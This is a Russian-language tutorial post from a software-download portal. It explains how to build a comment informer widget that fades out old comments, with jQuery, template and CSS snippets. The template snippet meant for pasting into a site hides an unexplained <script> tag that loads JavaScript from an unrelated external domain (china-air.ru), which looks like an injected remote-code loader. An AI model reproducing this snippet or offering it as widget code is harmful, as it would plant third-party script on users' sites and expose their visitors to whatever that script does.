Категории раздела
Игры
[17378]
база данных
[55]
Безопасность
[1045]
Ключи
[116]
Видео
[9682]
Фото
[410]
Графика и дизайн
[2398]
Драйвера
[442]
Музыка
[3529]
Мультимедиа
[3400]
Программирование
[90]
Сеть и интернет
[2494]
Скрипты для сайта
[120]
Система
[2533]
CD/DVD диски
[518]
Словари и переводчики
[151]
Cправочник
[2]
Файлы и диски HDD
[452]
Для работы с Файлами и дисками HDD
Офисные программы
[1241]
всё что связано с документами
Хакерские программы
[96]
Live CD & DVD & USB
[93]
OS-Win XP,7, 8,vista, Mac OS, Linux;
[1309]
Сборки Операционная система Win XP,7,8,Vista, Mac OS, Linux;
WPI
[857]
Сборник программ
Дизайна рабочего стола
[368]
темы визуального дизайна рабочего стола,заставки,скриншот
Программы для Авто
[322]
Карты, навигация, путешествия
[371]
Iphone ipad ipod
[42]
Iphone ipad ipod
Android
[296]
Программы для мобильных устройств
[130]
Программы для мобильных устройств
Прочие файлы
[127]
Новости
[23]
ноутбук и ПК
[3]
ноутбук и PC
Аудиокниги
[442]
Электронных книг
[2826]
Электронные справочники
[522]
Энциклопедия
[102]
Наш опрос
Мини-чат
Статистика
Онлайн всего: 68
Гостей: 68
Пользователей: 0
19:18
Информер с плавным обновлением коментариев
Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее. Установка! Ставим этот скрипт после тега <body>: Код
<script type="text/javascript"> $(document).ready(function(){ var first = 0; var speed = 700; var pause = 3500; function removeFirst(){ first = $('ul#center_dm_ru li:first').html(); $('ul#center_dm_ru li:first') .animate({opacity: 0}, speed) .fadeOut('slow', function() {$(this).remove();}); addLast(first); } function addLast(first){ last = '<li style="display:none">'+first+'</li>'; $('ul#center_dm_ru').append(last) $('ul#center_dm_ru li:last') .animate({opacity: 1}, speed) .fadeIn('slow') } interval = setInterval(removeFirst, pause); }); </script>
Создаем информер с такими параметрамы: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код: Код
<li> <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a> </li>
Вставляем этот код в блок и меняем на свой информер: Код
<ul id="center_dm_ru"> $MYINF_1$ </ul>
И прописываем в css стили информера: Код
#center_dm_ru { overflow:hidden; height:250px; width:250px; border:solid 1px #C8D9E5; padding: 0px 0px 0px 0px; background: #F8FCFF; } #center_dm_ru li { list-style:none; overflow:hidden; border-top: 1px solid #fff; border-bottom: 1px solid #C8D9E5; padding: 10px 5px 10px 5px; } .coment_avatar { float:right; width:25px; height:25px; background: #F3F3F3; margin-left: 5px; padding: 2px; border:1px solid #C8D9E5; } .massage_link:link, .massage_link:visited { text-decoration: none; color:#555; } .massage_link:hover { color:#999; } #center_dm_ru li a:hover img { filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50); }
[code][/code]
Категория: Скрипты для сайта |
Просмотров: 242 |
Добавил: startsmart
| Рейтинг: 0.0 /0
Вход на сайт
Поиск
Календарь
Архив записей
Друзья сайта